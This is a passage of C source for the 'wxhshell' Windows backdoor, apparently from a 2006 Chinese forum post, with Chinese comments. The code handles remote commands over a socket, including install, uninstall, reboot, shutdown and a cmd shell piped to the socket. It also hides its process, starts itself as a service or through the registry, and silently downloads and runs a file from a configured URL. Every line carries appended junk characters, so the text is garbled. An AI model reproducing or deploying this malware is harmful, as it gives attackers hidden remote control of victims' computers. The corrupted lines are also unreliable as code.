      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X:QRy9]  
    break; {gB9EGY  
  } 9r 5(  
  // 安装 <jh=W9.N_  
  case 'i': { <9S5  
    if(Install()) ;S'1fci6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x}OJ~Yk]  
    else NOl/y@#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E=ObfN"ge  
    break; /lc4oXG8  
    } oW6b3Q /B  
  // 卸载 |)[&V3+|  
  case 'r': { R?#.z#  
    if(Uninstall()) UTO$L|K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r<DPh5ReY  
    else `6v24?z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tzfk_h3hE  
    break; -(zw80@&  
    } i({MID)/_  
  // 显示 wxhshell 所在路径 ^$y`Q@-9  
  case 'p': { af&P;#U  
    char svExeFile[MAX_PATH]; v|nt(-JX  
    strcpy(svExeFile,"\n\r");  }D!o=Mg^  
      strcat(svExeFile,ExeFile); VL$?vI'  
        send(wsh,svExeFile,strlen(svExeFile),0); tYx>?~   
    break; )Dyyb1\)  
    } UryHte  
  // 重启 5YXMnYt9  
  case 'b': { ,hCbx #h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )4n]n:FjN  
    if(Boot(REBOOT)) {]O.?Yru?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >j&k:  
    else { R+9 hog  
    closesocket(wsh); k>:\4uI|<\  
    ExitThread(0); m>!aI?g  
    } b:$q5  
    break; UGP&&A#T-  
    } it->)?"(6  
  // 关机 b6@0?_n  
  case 'd': { %z-n2%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w=[ITQ|W%  
    if(Boot(SHUTDOWN)) {&nDm$KTD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QM{B(zH  
    else { Ib"fHLWA^!  
    closesocket(wsh); Cjj(v7[E  
    ExitThread(0); A%~t[ H  
    } "P$')u wE  
    break; va!fJ  
    } fH% C&xj'&  
  // 获取shell ,W>-MPJn[8  
  case 's': { ;6`7 \  
    CmdShell(wsh); Kn}Y7B{  
    closesocket(wsh); pAyUQe;X#  
    ExitThread(0); R4S))EHg  
    break; UK .=Y9  
  }  }S}%4c>  
  // 退出 jm[f|4\  
  case 'x': { YOtzj a]~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1vCVTuRF  
    CloseIt(wsh); Z.N9e  
    break; k-sBf Jy\  
    } CH$* =3M  
  // 离开 0bjZwC4J  
  case 'q': { v 1 f^gde  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b 2~5LZ  
    closesocket(wsh); <@;bxSUx  
    WSACleanup(); _$KkSMA~_  
    exit(1); ;.7]zn.X]2  
    break; DO~~  
        } @Suww@<  
  } kWgrsN+Z  
  } aUKa+"`S  
F/"lJ/I  
  // 提示信息 2]H?q!l!O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  hAD gi^  
} %4w#EbkSS  
  } `8;\}6:"1  
Ee=!bv(%70  
  return; 3Q_)Xs r`  
} )b,FE}YX  
hO(A_Bw  
// shell模块句柄 ZC)m&V 1  
int CmdShell(SOCKET sock) `-5gsJ  
{ 35YDP|XZb  
STARTUPINFO si; q[c^`5  
ZeroMemory(&si,sizeof(si)); 4!Lj\.!$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; * K0aR!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f_IsY+@  
PROCESS_INFORMATION ProcessInfo; yg"FF:^T  
char cmdline[]="cmd"; Q>uJ:[x+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R)%I9M,  
  return 0; ~_ko$(;A  
} && WEBQ  
r`PD}6\  
// 自身启动模式 +SkfT4*U  
int StartFromService(void) y>ePCDR3  
{ >vNE3S_  
typedef struct $Eo-58<q  
{ o1[[!~8e  
  DWORD ExitStatus; AdRK)L  
  DWORD PebBaseAddress; ephvvj~zW4  
  DWORD AffinityMask; &Vg)/t;  
  DWORD BasePriority; [2z >8 SL  
  ULONG UniqueProcessId; 8aW<lu  
  ULONG InheritedFromUniqueProcessId; >&Vz/0  
}   PROCESS_BASIC_INFORMATION; 9\%`/tJM  
EHrr}&  
PROCNTQSIP NtQueryInformationProcess; KqXPxp^_Al  
Lo}zT-F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iL'j9_w,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l^rQo_alk  
D~ 7W  
  HANDLE             hProcess; FMC]KXSd  
  PROCESS_BASIC_INFORMATION pbi; {G{ >Qa|  
| zOwC9-6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aX.//T:':?  
  if(NULL == hInst ) return 0; tQ`|MO&o  
H1$n6J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l <yYfGO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Oki{)Ssy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1}OM"V  
@Z Dd(xB&  
  if (!NtQueryInformationProcess) return 0; i.e4<|{  
I\|.WrMNi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cPX^4d~9  
  if(!hProcess) return 0; mH )i  
Lg|]|,%e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;+lsNf  
VBK|*Tl  
  CloseHandle(hProcess); yER  
Eopb##o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xn1, o MY=  
if(hProcess==NULL) return 0; {X-a6OQj  
d/\ajQ1::  
HMODULE hMod; !'>,37()  
char procName[255]; '>t'U?7w<  
unsigned long cbNeeded; 5`q#~fJ2  
1?,C d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p,7?rI\N  
~\ v"xV  
  CloseHandle(hProcess); WpC9(AX5g  
q<4{&omUJ  
if(strstr(procName,"services")) return 1; // 以服务启动 }bnodb^.7  
4TSkm`iR  
  return 0; // 注册表启动 8I0G%hD  
} uz;eY D  
CM)V^k*  
// 主模块 <>V~  
int StartWxhshell(LPSTR lpCmdLine) Ka$lNL3<j  
{ s $ ?;C  
  SOCKET wsl; [ZS.6{vr  
BOOL val=TRUE; x::d}PP7  
  int port=0; D{JwZL@7k2  
  struct sockaddr_in door; C4gzg  
~Jlq.S'  
  if(wscfg.ws_autoins) Install(); Nf}i /  
}Zfi/^0U  
port=atoi(lpCmdLine); L),bP fz  
r"dR}S.Uf  
if(port<=0) port=wscfg.ws_port; *TPWLR ^  
Y /l~R7  
  WSADATA data; -:Bgp*S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qpq(<  
t"YN:y8-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #{J+BWP\o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C2 yJ Xi`$  
  door.sin_family = AF_INET; ^,` L!3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'a"Uw"/p[  
  door.sin_port = htons(port); uYijzHQyD  
3!i{4/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {"db1Gbfg  
closesocket(wsl); kA9k^uR/  
return 1; w7f)v\p  
} 7yOBxb   
sY?sQ'E2]  
  if(listen(wsl,2) == INVALID_SOCKET) { Ti>}To}B5  
closesocket(wsl); +R"n_6N  
return 1; BJ{?S{"6%G  
} LVdtI  
  Wxhshell(wsl); nIqF:6/  
  WSACleanup(); A:5P  
X,D ]S@  
return 0; w{GEWD{&  
kB=5=#s  
} _WI~b  
ZHCrKp  
// 以NT服务方式启动 iDYm4sY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M%s!qC+  
{ )/Oldyp  
DWORD   status = 0; gl!ht@;>ak  
  DWORD   specificError = 0xfffffff; {~#d_!(  
uxL3 8d]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1yTw*vH F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T#HF! GH]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .`oKd@I*"  
  serviceStatus.dwWin32ExitCode     = 0; j?VHR$  
  serviceStatus.dwServiceSpecificExitCode = 0; V(Oi!(H;v  
  serviceStatus.dwCheckPoint       = 0; ?<^^.Si  
  serviceStatus.dwWaitHint       = 0; n;y[%H!g  
#z}0]GJKj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m/`L3@7Tt  
  if (hServiceStatusHandle==0) return; EF;B)y=  
.ZM0cwF  
status = GetLastError(); &"Fz)}  
  if (status!=NO_ERROR) &LQfs4}a,  
{ ,2P /[ :  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^Zlbs goZ  
    serviceStatus.dwCheckPoint       = 0; zR?1iV.]  
    serviceStatus.dwWaitHint       = 0; qipS`:TER  
    serviceStatus.dwWin32ExitCode     = status; {vur9L  
    serviceStatus.dwServiceSpecificExitCode = specificError; \U'*B}Sz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u(JuU/U  
    return; 7<k@{xI/  
  } 6` 3kNk;  
_:JV-lM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <80M$a g  
  serviceStatus.dwCheckPoint       = 0; 5'_:>0}  
  serviceStatus.dwWaitHint       = 0; kqGydGh*"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u3sr"w&  
} |V^f}5gd  
K] &GSro  
// 处理NT服务事件,比如:启动、停止 `R*!GHro  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jEK{47i v  
{ id]}10  
switch(fdwControl) 7>-99o^W  
{ l s%'\}  
case SERVICE_CONTROL_STOP: 6L2Wv5C  
  serviceStatus.dwWin32ExitCode = 0; E&Sr+D aPD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @== "$uRw  
  serviceStatus.dwCheckPoint   = 0; z]j_,3Hff  
  serviceStatus.dwWaitHint     = 0; UN:cRH{?*  
  { HN<e)E38  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?yA 2N;  
  } >uE<-klv  
  return; eYPIZ{S7h  
case SERVICE_CONTROL_PAUSE: Gz7,g Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &+/$~@OK  
  break; Zm#,Ike?#  
case SERVICE_CONTROL_CONTINUE: '@"A{mrE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <XzRRCYQ  
  break; ='(;!3ZH  
case SERVICE_CONTROL_INTERROGATE: EpENhC0  
  break; vb`:   
}; /}s#   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?:W=ddg  
} d%oHcn  
(>dL  
// 标准应用程序主函数 q'jInwY|x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KC54=Rf  
{ 3) XS^WG  
ca%XA|_J  
// 获取操作系统版本 EDg; s-T=  
OsIsNt=GetOsVer(); >,f5 5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }mS+%w"j  
(R!.=95@  
  // 从命令行安装 )7WLbj!M  
  if(strpbrk(lpCmdLine,"iI")) Install(); cN)noGkp  
ZV[-$  
  // 下载执行文件 r1sA^2g.  
if(wscfg.ws_downexe) { t_qX7P8+'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ##U/Wa3  
  WinExec(wscfg.ws_filenam,SW_HIDE); y <P1VES  
} `Vh&XH\S  
;\iu*1>Z,&  
if(!OsIsNt) { @! jpJ}  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y }8HJTMB  
HideProc(); 2-:`lrVd  
StartWxhshell(lpCmdLine); CDDEWVd  
} hxGo~<. :  
else `[tYe<  
  if(StartFromService()) QtOT'<2t]  
  // 以服务方式启动 P}-S[[b73s  
  StartServiceCtrlDispatcher(DispatchTable); :Y)G-:S+  
else  3;Tsjv}  
  // 普通方式启动 UDb  
  StartWxhshell(lpCmdLine); V}Pv}j:;  
Rz33_ qA  
return 0; Fh.Z sPn,m  
}
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只看该作者 1 发表于: 2006-10-10
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